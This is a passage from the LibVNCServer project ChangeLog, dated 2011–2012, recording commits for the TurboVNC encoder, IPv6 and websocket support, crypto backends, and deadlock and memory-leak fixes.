1180	1.1.  TurboVNC 1.0 added multi-threading capabilities, which can be
1181	added in later if desired (at the expense of making libvncserver
1182	depend on libpthread.) Because TurboVNC uses a fundamentally different mix of subencodings
1183	than TightVNC, because it uses the identical protocol (and thus a
1184	viewer really has no idea whether it's talking to a TightVNC or
1185	TurboVNC server), and because it doesn't support rfbTightPng (and in
1186	fact conflicts with it-- see below), the TurboVNC and TightVNC
1187	encoders cannot be enabled simultaneously.  Compatibility: In *most* cases, a TurboVNC-enabled viewer is fully compatible with
1188	a TightVNC server, and vice versa.  TurboVNC supports
1189	pseudo-encodings for specifying a fine-grained (1-100) quality scale
1190	and specifying chrominance subsampling.  If a TurboVNC viewer sends
1191	those to a TightVNC server, then the TightVNC server ignores them,
1192	so the TurboVNC viewer also sends the quality on a 0-9 scale that
1193	the TightVNC server can understand.  Similarly, the TurboVNC server
1194	checks first for fine-grained quality and subsampling
1195	pseudo-encodings from the viewer, and failing to receive those, it
1196	then checks for the TightVNC 0-9 quality pseudo-encoding.  There is one case in which the two systems are not compatible, and
1197	that is when a TightVNC or TigerVNC viewer requests compression
1198	level 0 without JPEG from a TurboVNC server.  For performance
1199	reasons, this causes the TurboVNC server to send images directly to
1200	the viewer, bypassing Zlib.  When the TurboVNC server does this, it
1201	also sets bits 7-4 in the compression control byte to rfbTightNoZlib
1202	(0x0A), which is unfortunately the same value as rfbTightPng.  Older
1203	TightVNC viewers that don't handle PNG will assume that the stream
1204	is uncompressed but still encapsulated in a Zlib structure, whereas
1205	newer PNG-supporting TightVNC viewers will assume that the stream is
1206	PNG.  In either case, the viewer will probably crash.  Since most
1207	VNC viewers don't expose compression level 0 in the GUI, this is a
1208	relatively rare situation.  Description of changes: configure.ac -- Added support for libjpeg-turbo.  If passed an
1209	   argument of --with-turbovnc, configure will now run (or, if cross-compiling, just link) a test program that determines
1210	   whether the libjpeg library being used is libjpeg-turbo.
1211	   libjpeg-turbo must be used when building the TurboVNC encoder,
1212	   because the TurboVNC encoder relies on the libjpeg-turbo
1213	   colorspace extensions in order to compress images directly out of
1214	   the framebuffer (which may be, for instance, BGRA rather than RGB.)
1215	   libjpeg-turbo can optionally be used with the TightVNC encoder as
1216	   well, but the speedup will only be marginal (the report linked above
1217	    explains why in more detail, but basically it's because of Amdahl's
1218	    Law.  The TightVNC encoder was designed with the assumption that
1219	JPEG had a very high CPU cost, and thus JPEG is used only
1220	sparingly.) -- Added a new configure variable, JPEG_LDFLAGS.  This
1221	   is necessitated by the fact that libjpeg-turbo often distributes
1222	   libjpeg.a and libjpeg.so in /opt/libjpeg-turbo/lib32 or
1223	   /opt/libjpeg-turbo/lib64, and many people prefer to statically
1224	   link with it.  Thus, more flexibility is needed than is provided by
1225	   --with-jpeg.  If JPEG_LDFLAGS is specified, then it overrides the
1226	   changes to LDFLAGS enacted by --with-jpeg (but --with-jpeg is
1227	   still used to set the include path.)  The addition of JPEG_LDFLAGS
1228	necessitated replacing AC_CHECK_LIB with AC_LINK_IFELSE (because
1229	   AC_CHECK_LIB automatically sets LIBS to -ljpeg, which is not what we
1230	want if we're, for instance, linking statically with libjpeg-turbo.)
1231	-- configure does not check for PNG support if TurboVNC encoding is
1232	   enabled.  This prevents the rfbSendRectEncodingTightPng() function
1233	   from being compiled in, since the TurboVNC encoder doesn't (and
1234	can't) support it.  common/turbojpeg.c, common/turbojpeg.h -- TurboJPEG is a simple API
1235	   used to compress and decompress JPEG images in memory.  It was
1236	   originally implemented because it was desirable to use different
1237	   types of underlying technologies to compress JPEG on different
1238	   platforms (mediaLib on SPARC, Quicktime on PPC Macs, Intel
1239	   Performance Primitives, etc.) These days, however, libjpeg-turbo
1240	   is the only underlying technology used by TurboVNC, so TurboJPEG's
1241	purpose is largely just code simplicity and flexibility.  Thus,
1242	   since there is no real need for libvncserver to use any technology
1243	   other than libjpeg-turbo for compressing JPEG, the TurboJPEG wrapper
1244	for libjpeg-turbo has been included in-tree so that libvncserver can
1245	   be directly linked with libjpeg-turbo.  This is convenient because
1246	   many modern Linux distros (Fedora, Ubuntu, etc.) now ship
1247	   libjpeg-turbo as their default libjpeg library.  libvncserver/rfbserver.c -- Added logic to check for the TurboVNC
1248	   fine-grained quality level and subsampling encodings and to map
1249	   Tight (0-9) quality levels to appropriate fine-grained quality level
1250	   and subsampling values if communicating with a TightVNC/TigerVNC
1251	viewer.  libvncserver/turbo.c -- TurboVNC encoder (compiled instead of
1252	libvncserver/tight.c) rfb/rfb.h -- Added support for the TurboVNC subsampling level rfb/rfbproto.h -- Added constants for the TurboVNC fine quality
1253	   level and subsampling encodings as well as the rfbTightNoZlib
1254	constant and notes on its usage.
1255
12562012-03-10  Christian Beier <dontmind@freeshell.org>
1257
1258	* client_examples/SDLvncviewer.c, libvncclient/listen.c,
1259	libvncclient/sockets.c, libvncclient/vncviewer.c,
1260	libvncserver/sockets.c, rfb/rfbclient.h: IPv6 support for
1261	LibVNCServer, part three: make reverse connections IPv6-capable.  Besided making libvncserver reverseVNC IPv6-aware, this introduces
1262	some changes on the client side as well to make clients listen on
1263	IPv6 sockets, too. Like the server side, this also uses a
1264	separate-socket approach.
1265
12662012-03-10  Christian Beier <dontmind@freeshell.org>
1267
1268	* libvncserver/sockets.c: IPv6 support for LibVNCServer, part
1269	onepointseven: Plug a memleak.  We have to properly free the addrinfo struct when jumping out of the
1270	function.
1271
12722012-03-09  Christian Beier <dontmind@freeshell.org>
1273
1274	* webclients/index.vnc: IPv6 support for LibVNCServer, part
1275	twopointone: properly surround IPv6 addresses with [] for noVNC URL.  Some browsers omit the square brackets in
1276	document.location.hostname, so add them if missing.
1277
12782012-02-27  Christian Beier <dontmind@freeshell.org>
1279
1280	* libvncserver/cargs.c, libvncserver/httpd.c, libvncserver/main.c,
1281	rfb/rfb.h: IPv6 support for LibVNCServer, part two: Let the http
1282	server listen on IPv6, too.  As done with the RFB sockets, this uses a separate-socket approach
1283	as well.
1284
12852012-02-27  Christian Beier <dontmind@freeshell.org>
1286
1287	* libvncserver/main.c: IPv6 support for LibVNCServer, part
1288	onepointsix: fix a small logic error.  Without this, we would have gotten a stale IPv4 socket in a race
1289	condition.
1290
12912012-02-27  Christian Beier <dontmind@freeshell.org>
1292
1293	* libvncserver/rfbserver.c, libvncserver/sockets.c: IPv6 support for
1294	LibVNCServer, part onepointfive: Fix compilation with IPv6 missing.  There was an oversight that crept in...
1295
12962012-02-20  Christian Beier <dontmind@freeshell.org>
1297
1298	* libvncserver/cargs.c, libvncserver/main.c,
1299	libvncserver/rfbserver.c, libvncserver/sockets.c, rfb/rfb.h: IPv6
1300	support for LibVNCServer, part one: accept IPv4 and IPv6
1301	connections.  This uses a separate-socket approach since there are systems that do
1302	not support dual binding sockets under *any* circumstances, for
1303	instance OpenBSD. Using separate sockets for IPv4 and IPv6 is thus
1304	more portable than having a v6 socket handle v4 connections as well.  Signed-off-by: Christian Beier <dontmind@freeshell.org>
1305
13062012-02-11  Mateus Cesar Groess <mateuscg@gmail.com>
1307
1308	* AUTHORS, client_examples/Makefile.am,
1309	client_examples/gtkvncviewer.c, configure.ac: Here is a port of
1310	SDLvncviewer to GTK+2.  I think it may encourage people to implement more features for the
1311	viewer, because a GTK GUI seems to be easier to implement than a SDL
1312	one (and it is more integrated with the major Linux Desktops out
1313	there).  Signed-off-by: Christian Beier <dontmind@freeshell.org>
1314
13152012-02-11  Christian Beier <dontmind@freeshell.org>
1316
1317	* AUTHORS: Update AUTHORS.
1318
13192012-02-10  Kyle J. McKay <mackyle@gmail.com>
1320
1321	* libvncserver/auth.c, libvncserver/rfbserver.c, rfb/rfb.h: Support
1322	Mac OS X vnc client with no password Support connections from the Mac OS X built-in VNC client to
1323	LibVNCServers running with no password and advertising a server
1324	version of 3.7 or greater.
1325
13262012-02-04  Johannes Schindelin <johannes.schindelin@gmx.de>
1327
1328	* AUTHORS: Add Luca to the AUTHORS Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
1329
13302012-02-04  Luca Stauble <gnekoz@gmail.com>
1331
1332	* libvncclient/listen.c, libvncclient/sockets.c,
1333	libvncclient/vncviewer.c, rfb/rfbclient.h: Add an optional parameter
1334	to specify the ip address for reverse connections For security reasons, it can be important to limit which IP
1335	addresses a LibVNCClient-based client should listen for reverse
1336	connections. This commit adds that option.  To preserve binary backwards-compatibility, the field was added to
1337	the end of the rfbclient struct, and the function ListenAtTcpPort
1338	retains its signature (but calls the new ListenAtTcpPortAndAddress).  [jes: shortened the commit subject, added a longer explanation in
1339	the commit body and adjusted style] Signed-off-by: Luca Stauble <gnekoz@gmail.com> Signed-off-by:
1340	Johannes Schindelin <johannes.schindelin@gmx.de>
1341
13422012-01-12  Gernot Tenchio <gernot.tenchio@securepoint.de>
1343
1344	* libvncserver/websockets.c: websockets: removed debug message
1345
13462012-01-12  Gernot Tenchio <gernot.tenchio@securepoint.de>
1347
1348	* libvncserver/websockets.c: websockets: restore errno after logging
1349	an error
1350
13512012-01-12  Gernot Tenchio <gernot.tenchio@securepoint.de>
1352
1353	* CMakeLists.txt: cmake: adapted to latest websocket crypto changes
1354
13552011-12-15  Christian Beier <dontmind@freeshell.org>
1356
1357	* rfb/rfbclient.h: Small changes to LibNVCClient doxygen
1358	documentation.
1359
13602011-12-01  Christian Beier <dontmind@freeshell.org>
1361
1362	* libvncserver/Makefile.am: Fix build error when libpng is
1363	available, but libjpeg is not.  The png stuff in tight.c depends on code in tight.c that uses
1364	libjpeg features. We could probably seperate that, but for now the
1365	dependency for 'tight' goes: PNG depends on JPEG depends on ZLIB.  This is reflected in Makefile.am now.  NB: Building tight.c with JPEG but without PNG is still possible,     but nor the other way around.
1366
13672011-12-01  Christian Beier <dontmind@freeshell.org>
1368
1369	* configure.ac: Use AM_SILENT_RULES only when it's actually
1370	available.  Otherwise building breaks with older make versions. Happens on OS X
1371	10.6 for instance.
1372
13732011-11-09  Christian Beier <dontmind@freeshell.org>
1374
1375	* configure.ac, webclients/Makefile.am, webclients/index.vnc,
1376	webclients/java-applet/Makefile.am,
1377	webclients/java-applet/javaviewer.pseudo_proxy.patch,
1378	webclients/java-applet/ssl/Makefile.am,
1379	webclients/java-applet/ssl/README,
1380	webclients/java-applet/ssl/index.vnc,
1381	webclients/java-applet/ssl/onetimekey,
1382	webclients/java-applet/ssl/proxy.vnc,
1383	webclients/java-applet/ssl/ss_vncviewer,
1384	webclients/java-applet/ssl/tightvnc-1.3dev7_javasrc-vncviewer-curso
1385	r-colors+no-tab-traversal.patch,
1386	webclients/java-applet/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.p
1387	atch, webclients/java-applet/ssl/ultra.vnc,
1388	webclients/java-applet/ssl/ultraproxy.vnc,
1389	webclients/java-applet/ssl/ultrasigned.vnc,
1390	webclients/java-applet/ssl/ultravnc-102-JavaViewer-ssl-etc.patch,
1391	webclients/javaviewer.pseudo_proxy.patch,
1392	webclients/ssl/Makefile.am, webclients/ssl/README,
1393	webclients/ssl/index.vnc, webclients/ssl/onetimekey,
1394	webclients/ssl/proxy.vnc, webclients/ssl/ss_vncviewer,
1395	webclients/ssl/tightvnc-1.3dev7_javasrc-vncviewer-cursor-colors+no-
1396	tab-traversal.patch,
1397	webclients/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
1398	webclients/ssl/ultra.vnc, webclients/ssl/ultraproxy.vnc,
1399	webclients/ssl/ultrasigned.vnc,
1400	webclients/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: Move the java
1401	stuff into webclients/java-applet.
1402
14032011-11-09  Christian Beier <dontmind@freeshell.org>
1404
1405	* LibVNCServer.spec.in, Makefile.am, README, classes/Makefile.am,
1406	classes/index.vnc, classes/javaviewer.pseudo_proxy.patch,
1407	classes/novnc/LICENSE.txt, classes/novnc/README.md,
1408	classes/novnc/favicon.ico, classes/novnc/include/base.css,
1409	classes/novnc/include/base64.js, classes/novnc/include/black.css,
1410	classes/novnc/include/blue.css, classes/novnc/include/des.js,
1411	classes/novnc/include/display.js, classes/novnc/include/input.js,
1412	classes/novnc/include/logo.js, classes/novnc/include/playback.js,
1413	classes/novnc/include/rfb.js, classes/novnc/include/ui.js,
1414	classes/novnc/include/util.js, classes/novnc/include/vnc.js,
1415	classes/novnc/include/web-socket-js/README.txt,
1416	classes/novnc/include/web-socket-js/swfobject.js,
1417	classes/novnc/include/web-socket-js/web_socket.js,
1418	classes/novnc/include/websock.js, classes/novnc/include/webutil.js,
1419	classes/novnc/vnc.html, classes/novnc/vnc_auto.html,
1420	classes/ssl/Makefile.am, classes/ssl/README, classes/ssl/index.vnc,
1421	classes/ssl/onetimekey, classes/ssl/proxy.vnc,
1422	classes/ssl/ss_vncviewer,
1423	classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-cursor-colors+no-tab
1424	-traversal.patch,
1425	classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
1426	classes/ssl/ultra.vnc, classes/ssl/ultraproxy.vnc,
1427	classes/ssl/ultrasigned.vnc,
1428	classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, configure.ac,
1429	examples/example.c, examples/pnmshow.c, examples/pnmshow24.c,
1430	rfb/rfb.h, webclients/Makefile.am, webclients/index.vnc,
1431	webclients/javaviewer.pseudo_proxy.patch,
1432	webclients/novnc/LICENSE.txt, webclients/novnc/README.md,
1433	webclients/novnc/favicon.ico, webclients/novnc/include/base.css,
1434	webclients/novnc/include/base64.js,
1435	webclients/novnc/include/black.css,
1436	webclients/novnc/include/blue.css, webclients/novnc/include/des.js,
1437	webclients/novnc/include/display.js,
1438	webclients/novnc/include/input.js,
1439	webclients/novnc/include/logo.js,
1440	webclients/novnc/include/playback.js,
1441	webclients/novnc/include/rfb.js, webclients/novnc/include/ui.js,
1442	webclients/novnc/include/util.js, webclients/novnc/include/vnc.js,
1443	webclients/novnc/include/web-socket-js/README.txt,
1444	webclients/novnc/include/web-socket-js/swfobject.js,
1445	webclients/novnc/include/web-socket-js/web_socket.js,
1446	webclients/novnc/include/websock.js,
1447	webclients/novnc/include/webutil.js, webclients/novnc/vnc.html,
1448	webclients/novnc/vnc_auto.html, webclients/ssl/Makefile.am,
1449	webclients/ssl/README, webclients/ssl/index.vnc,
1450	webclients/ssl/onetimekey, webclients/ssl/proxy.vnc,
1451	webclients/ssl/ss_vncviewer,
1452	webclients/ssl/tightvnc-1.3dev7_javasrc-vncviewer-cursor-colors+no-
1453	tab-traversal.patch,
1454	webclients/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
1455	webclients/ssl/ultra.vnc, webclients/ssl/ultraproxy.vnc,
1456	webclients/ssl/ultrasigned.vnc,
1457	webclients/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: Rename
1458	'classes' dir to 'webclients'.
1459
14602011-11-09  Christian Beier <dontmind@freeshell.org>
1461
1462	* classes/index.vnc, libvncserver/httpd.c: novnc client: use the
1463	client's notion about the server hostname instead of what the server
1464	thinks.
1465
14662011-11-09  Christian Beier <dontmind@freeshell.org>
1467
1468	* classes/index.vnc: Fix tiny typo.
1469
14702011-11-09  Christian Beier <dontmind@freeshell.org>
1471
1472	* NEWS: Add 0.9.8.2 NEWS entry.
1473
14742011-11-09  Christian Beier <dontmind@freeshell.org>
1475
1476	* libvncclient/rfbproto.c: When GetCredential() callback is not set,
1477	don't use authentications requiring it.  The auth methods that employ Getcredential() will only be used if
1478	the client's GetCredential callback is actually set.
1479
14802011-10-12  Christian Beier <dontmind@freeshell.org>
1481
1482	* ChangeLog: Update ChangeLog for 0.9.8.1.
1483
14842011-10-12  Christian Beier <dontmind@freeshell.org>
1485
1486	* CMakeLists.txt, NEWS, configure.ac: Update version number in
1487	autotools && cmake, NEWS entry.
1488
14892011-10-26  Peter Watkins <watkipet@gmail.com>
1490
1491	* rfb/rfbclient.h: Added comments.
1492
14932011-10-26  Christian Beier <dontmind@freeshell.org>
1494
1495	* libvncserver/rfbserver.c: Fix deadlock in threaded mode when using
1496	nested rfbClientIteratorNext() calls.  Lengthy explanation follows...  First, the scenario before this patch: We have three clients 1,2,3 connected. The main thread loops through
1497	them using rfbClientIteratorNext() (loop L1) and is currently at
1498	client 2 i.e. client 2's cl_2->refCount is 1. At this point we need
1499	to loop again through the clients, with cl_2->refCount == 1, i.e. do
1500	a loop L2 nested within loop L1.  BUT: Now client 2 disconnects, it's clientInput thread terminates
1501	its clientOutput thread and calls rfbClientConnectionGone(). This
1502	LOCKs clientListMutex and WAITs for cl_2->refCount to become 0. This
1503	means this thread waits for the main thread to release cl_2.
1504	Waiting, with clientListMutex LOCKed! Meanwhile, the main thread is about to begin the inner
1505	rfbClientIteratorNext() loop L2. The first call to
1506	rfbClientIteratorNext() LOCKs clientListMutex. BAAM. This mutex is
1507	locked by cl2's clientInput thread and is only released when
1508	cl_2->refCount becomes 0. The main thread would decrement
1509	cl_2->refCount when it would continue with loop L1. But it's waiting
1510	for cl2's clientInput thread to release clientListMutex. Which never
1511	happens since this one's waiting for the main thread to decrement
1512	cl_2->refCount. DEADLOCK.  Now, situation with this patch: Same as above, but when client 2 disconnects it's clientInput thread
1513	rfbClientConnectionGone(). This again LOCKs clientListMutex, removes
1514	cl_2 from the linked list and UNLOCKS clientListMutex. The WAIT for
1515	cl_2->refCount to become 0 is _after_ that. Waiting, with
1516	clientListMutex UNLOCKed! Therefore, the main thread can continue, do the inner loop L2 (now
1517	only looping through 1,3 - 2 was removed from the linked list) and
1518	continue with loop L1, finally decrementing cl_2->refCount, allowing
1519	cl2's clientInput thread to continue and terminate. The resources
1520	held by cl2 are not free()'d by rfbClientConnectionGone until
1521	cl2->refCount becomes 0, i.e. loop L1 has released cl2.
1522
15232011-10-16  Johannes Schindelin <johannes.schindelin@gmx.de>
1524
1525	* AUTHORS: Update AUTHORS Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
1526
15272011-10-16  George Fleury <gfleury@gmail.com>
1528
1529	* libvncserver/rfbserver.c: Fix memory leak I was debbuging some code tonight and i found a pointer that is not
1530	been freed, so i think there is maybe a memory leak, so it is...  there is the malloc caller reverse order: ( malloc cl->statEncList ) 	<- rfbStatLookupEncoding 	<- rfbStatRecordEncodingSent 	<- rfbSendCursorPos 	<- rfbSendFramebufferUpdate 	<- rfbProcessEvents I didnt look the whole libvncserver api, but i am using
1531	rfbReverseConnection with rfbProcessEvents, and then when the client
1532	connection dies, i am calling a rfbShutdownServer and
1533	rfbScreenCleanup, but the malloc at rfbStatLookupEncoding isnt been
1534	freed.  So to free the stats i added a rfbResetStats(cl) after
1535	rfbPrintStats(cl) at rfbClientConnectionGone in rfbserver.c before
1536	free the cl pointer. (at rfbserver.c line 555). And this, obviously,
1537	is correcting the memory leak.  Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
1538
15392011-10-08  Johannes Schindelin <johannes.schindelin@gmx.de>
1540
1541	* rfb/rfbclient.h: Hopefully fix the crash when updating from 0.9.7
1542	or earlier For backwards-compatibility reasons, we can only add struct members
1543	to the end. That way, existing callers still can use newer
1544	libraries, as the structs are always allocated by the library (and
1545	therefore guaranteed to have the correct size) and still rely on the
1546	same position of the parts the callers know about.  Reported by Luca Falavigna.  Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
1547
15482011-10-09  Johannes Schindelin <johannes.schindelin@gmx.de>
1549
1550	* client_examples/SDLvncviewer.c: SDLvncviewer: make it resizable by
1551	default I got annoyed having to specify -resizable all the time; I never use
1552	it in another mode anymore, since I am on a netbook.  The option -no-resizable was added to be able to switch off that
1553	feature.  Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
1554
15552011-10-06  Christian Beier <dontmind@freeshell.org>
1556
1557	* libvncserver/httpd.c: httpd: fix sending of binary data such as
1558	images.  We do this simply by omitting the content-type and let the browser
1559	decide upon the mime-type of the sent file. Only exception is
1560	'index.vnc', where we do set the content-type since some browsers
1561	fail to detect it's html when it's ending in '.vnc' Also, remove superfluous #defines. We close the connection always.
1562
15632011-10-06  Christian Beier <dontmind@freeshell.org>
1564
1565	* classes/index.vnc: Fix typo && use proper website.
1566
15672011-10-04  Christian Beier <dontmind@freeshell.org>
1568
1569	* classes/index.vnc, classes/novnc/LICENSE.txt,
1570	classes/novnc/README.md, classes/novnc/favicon.ico,
1571	classes/novnc/include/base.css, classes/novnc/include/base64.js,
1572	classes/novnc/include/black.css, classes/novnc/include/blue.css,
1573	classes/novnc/include/des.js, classes/novnc/include/display.js,
1574	classes/novnc/include/input.js, classes/novnc/include/logo.js,
1575	classes/novnc/include/playback.js, classes/novnc/include/rfb.js,
1576	classes/novnc/include/ui.js, classes/novnc/include/util.js,
1577	classes/novnc/include/vnc.js,
1578	classes/novnc/include/web-socket-js/README.txt,
1579	classes/novnc/include/web-socket-js/swfobject.js,
1580	classes/novnc/include/web-socket-js/web_socket.js,
1581	classes/novnc/include/websock.js, classes/novnc/include/webutil.js,
1582	classes/novnc/vnc.html, classes/novnc/vnc_auto.html,
1583	libvncserver/httpd.c: Add noVNC HTML5 client connect possibility to
1584	our http server.  Pure JavaScript, no Java plugin required anymore! (But a recent
1585	browser...)
1586
15872011-10-04  Christian Beier <dontmind@freeshell.org>
1588
1589	* configure.ac: This build warning is a libvncserver one, not for
1590	x11vnc.  Also, make it warn more generally when no known encryption lib is
1591	available.
1592
15932011-09-21  Gernot Tenchio <gernot@tenchio.de>
1594
1595	* common/md5.c: md5: forced to use function names with leading
1596	underscores Commented out the surrounding '#ifdef _LIBC' to build md5.o with
1597	leading underscores. This is required to match the prototypes
1598	defined in md5.h.
1599
16002011-09-20  Gernot Tenchio <gernot.tenchio@securepoint.de>
1601
1602	* libvncserver/rfbcrypto_included.c: rfbcrypto_included: fix c&p
1603	errors
1604
16052011-09-20  Gernot Tenchio <gernot@tenchio.de>
1606
1607	* libvncserver/rfbcrypto_polarssl.c: rfbcrypto_polarssl: it was way
1608	to late last night...
1609
16102011-09-18  Gernot Tenchio <gernot@tenchio.de>
1611
1612	* libvncserver/Makefile.am, libvncserver/rfbcrypto.h,
1613	libvncserver/rfbcrypto_gnutls.c, libvncserver/rfbcrypto_included.c,
1614	libvncserver/rfbcrypto_openssl.c,
1615	libvncserver/rfbcrypto_polarssl.c, libvncserver/websockets.c: Add
1616	support for different crypto implementations
1617
16182011-09-11  Christian Beier <dontmind@freeshell.org>
1619
1620	* configure.ac, libvncserver/Makefile.am: Autotools: Fix OpenSSL and
1621	GnuTLS advertisement.
1622
16232011-09-11  Christian Beier <dontmind@freeshell.org>
1624
1625	* libvncserver/rfbssl_gnutls.c: Fix libvncserver GnuTLS init.  gnutls_certificate_set_x509_trust_file() returns the number of
1626	processed certs and _not_ GNUTLS_E_SUCCESS (0) on success!
1627
16282011-09-11  Christian Beier <dontmind@freeshell.org>
1629
1630	* AUTHORS, libvncserver/websockets.c: Update AUTHORS regarding the
1631	websocket guys.
1632
16332011-08-28  Gernot Tenchio <gernot@tenchio.de>
1634
1635	* configure.ac: configure: Add AM_SILENT_RULES Working with “silent make mode” makes debugging a lot of easier
1636	since warnings wont shadowed by useless compiler noise
1637
16382011-08-27  Gernot Tenchio <gernot@tenchio.de>
1639
1640	* CMakeLists.txt: cmake: set SOVERSION
1641
16422011-09-11  Christian Beier <dontmind@freeshell.org>
1643
1644	* configure.ac, libvncserver/Makefile.am: Autotools: Fix OpenSSL and
1645	GnuTLS advertisement.
1646
16472011-09-11  Christian Beier <dontmind@freeshell.org>
1648
1649	* libvncserver/rfbssl_gnutls.c: Fix libvncserver GnuTLS init.  gnutls_certificate_set_x509_trust_file() returns the number of
1650	processed certs and _not_ GNUTLS_E_SUCCESS (0) on success!
1651
16522011-09-11  Christian Beier <dontmind@freeshell.org>
1653
1654	* AUTHORS, libvncserver/websockets.c: Update AUTHORS regarding the
1655	websocket guys.
1656
16572011-09-02  Gernot Tenchio <gernot@tenchio.de>
1658
1659	* libvncserver/websockets.c: websocket: Use a single buffer for
1660	both, encoding and decoding
1661
16622011-08-30  Gernot Tenchio <gernot.tenchio@securepoint.de>
1663
1664	* libvncserver/rfbssl_gnutls.c: rfbssl_gnutls: Merge
1665	rfbssl_peek/rfbssl_read into one function
1666
16672011-08-30  Gernot Tenchio <gernot.tenchio@securepoint.de>
1668
1669	* libvncserver/websockets.c: websockets: fix
1670	webSocketCheckDisconnect() Do not consume the peeked data if no close frame was detected.
1671
16722011-08-29  Gernot Tenchio <gernot.tenchio@securepoint.de>
1673
1674	* libvncserver/websockets.c: websockets: use 32bit Xor in
1675	webSocketsDecodeHybi()
1676
16772011-08-29  Gernot Tenchio <gernot.tenchio@securepoint.de>
1678
1679	* CMakeLists.txt: cmake: use sha1.c for websocket builds
1680
16812011-08-25  Gernot Tenchio <gernot@tenchio.de>
1682
1683	* libvncserver/websockets.c: websockets: nothing to worry about
1684
16852011-08-25  Gernot Tenchio <gernot@tenchio.de>
1686
1687	* libvncserver/websockets.c: websockets: added gcrypt based sha1
1688	digest funtion
1689
16902011-08-25  Joel Martin <jmartin@sentryds.com>
1691
1692	* common/sha1.c, common/sha1.h, libvncserver/Makefile.am,
1693	libvncserver/websockets.c: Add sha1.*. Remove UTF-8 encode. Protocol
1694	handling.  Add common/sha1.h and common/sha1.c so that we have the SHA routines
1695	even if openssl is not available. From the IETF SHA RFC example
1696	code.  Remove the UTF-8 encoding hack. This was really just an experiment.  If the protocol passed in the handshake has "binary" then don't
1697	base64 encode for the HyBi protocol. This will allow noVNC to
1698	request the binary data be passed raw and not base64 encoded.
1699	Unfortunately, the client doesn't speak first in VNC protocol (bad
1700	original design). If it did then we could determine whether to
1701	base64 encode or not based on the first HyBi frame from the client
1702	and whether the binary bit is set or not. Oh well.  Misc Cleanup: - Always free response and buf in handshake routine.  - Remove some unused variables.
1703
17042011-08-25  Gernot Tenchio <gernot@tenchio.de>
1705
1706	* CMakeLists.txt: cmake: make some noise
1707
17082011-08-25  Gernot Tenchio <gernot@tenchio.de>
1709
1710	* libvncserver/rfbssl_gnutls.c: websockets: remove warning on 64bit
1711	platforms
1712
17132011-08-25  Gernot Tenchio <gernot.tenchio@securepoint.de>
1714
1715	* libvncserver/websockets.c: websockets: Removed debugging left over
1716
17172011-08-25  Gernot Tenchio <gernot.tenchio@securepoint.de>
1718
1719	* libvncserver/websockets.c: websockets: Use callback functions for
1720	encode/decode
1721
17222011-08-25  Gernot Tenchio <gernot.tenchio@securepoint.de>
1723
1724	* libvncserver/rfbserver.c, libvncserver/sockets.c,
1725	libvncserver/websockets.c, rfb/rfb.h: websockets: Move Hixie
1726	disconnect hack to websockets.c Move the hixie disconnect hack to websockets.c. Removed the
1727	remaining websockets vars from rfbClientPtr, so all websockets stuff
1728	is hidden behind an opaque pointer.
1729
17302011-08-25  Gernot Tenchio <gernot.tenchio@securepoint.de>
1731
1732	* libvncserver/rfbserver.c, libvncserver/sockets.c,
1733	libvncserver/websockets.c, rfb/rfb.h: websockets: Initial HyBi
1734	support
1735
17362011-08-16  Gernot Tenchio <gernot.tenchio@securepoint.de>
1737
1738	* CMakeLists.txt: cmake: don't link sdl libs to vnc libraries Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
1739
17402011-08-16  Gernot Tenchio <gernot.tenchio@securepoint.de>
1741
1742	* libvncserver/sockets.c, libvncserver/websockets.c, rfb/rfb.h: 
1743	websockets: Add wspath member to rfbClientRec Added wspath member to rfbClientRec which holds the path component
1744	of the initial websocket request.  Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
1745
17462011-08-16  Gernot Tenchio <gernot.tenchio@securepoint.de>
1747
1748	* CMakeLists.txt, common/md5.c, common/md5.h,
1749	libvncserver/Makefile.am, libvncserver/md5.c, libvncserver/md5.h: 
1750	Move libvncserver/md5* to common Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
1751
17522011-08-16  Gernot Tenchio <gernot.tenchio@securepoint.de>
1753
1754	* CMakeLists.txt, rfb/rfbconfig.h.cmake: websockets: Add Websockets
1755	support to CMakeLists.txt Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
1756
17572011-08-16  Joel Martin <github@martintribe.org>
1758
1759	* libvncserver/Makefile.am, libvncserver/cargs.c: websockets: Add
1760	SSL cert command line options.  - Add --sslcertfile and --sslkeyfile. These should really be
1761	  combined with the existing x11vnc command line options for SSL
1762	support.  Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
1763
17642011-08-17  Gernot Tenchio <gernot.tenchio@securepoint.de>
1765
1766	* configure.ac, libvncserver/Makefile.am,
1767	libvncserver/rfbssl_gnutls.c, libvncserver/rfbssl_openssl.c: 
1768	websockets: add GnuTLS and OpenSSL support For now, only OpenSSL support is activated through configure, since
1769	GnuTLS is only used in LibVNCClient.  [jes: separated this out from the commit adding encryption support,
1770	added autoconf support.] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
1771
17722011-08-16  Gernot Tenchio <gernot.tenchio@securepoint.de>
1773
1774	* libvncserver/Makefile.am, libvncserver/rfbserver.c,
1775	libvncserver/rfbssl.h, libvncserver/rfbssl_none.c,
1776	libvncserver/sockets.c, libvncserver/websockets.c, rfb/rfb.h: 
1777	websockets: Add encryption support [jes: moved out GnuTLS and OpenSSL support, added a dummy support,
1778	to separate changes better, and to keep things compiling] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
1779
17802011-08-16  Joel Martin <jmartin@sentryds.com>
1781
1782	* libvncserver/websockets.c: websockets: Properly parse Hixie-76
1783	handshake.  Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
1784
17852011-08-16  Joel Martin <github@martintribe.org>
1786
1787	* libvncserver/rfbserver.c, libvncserver/websockets.c: websockets:
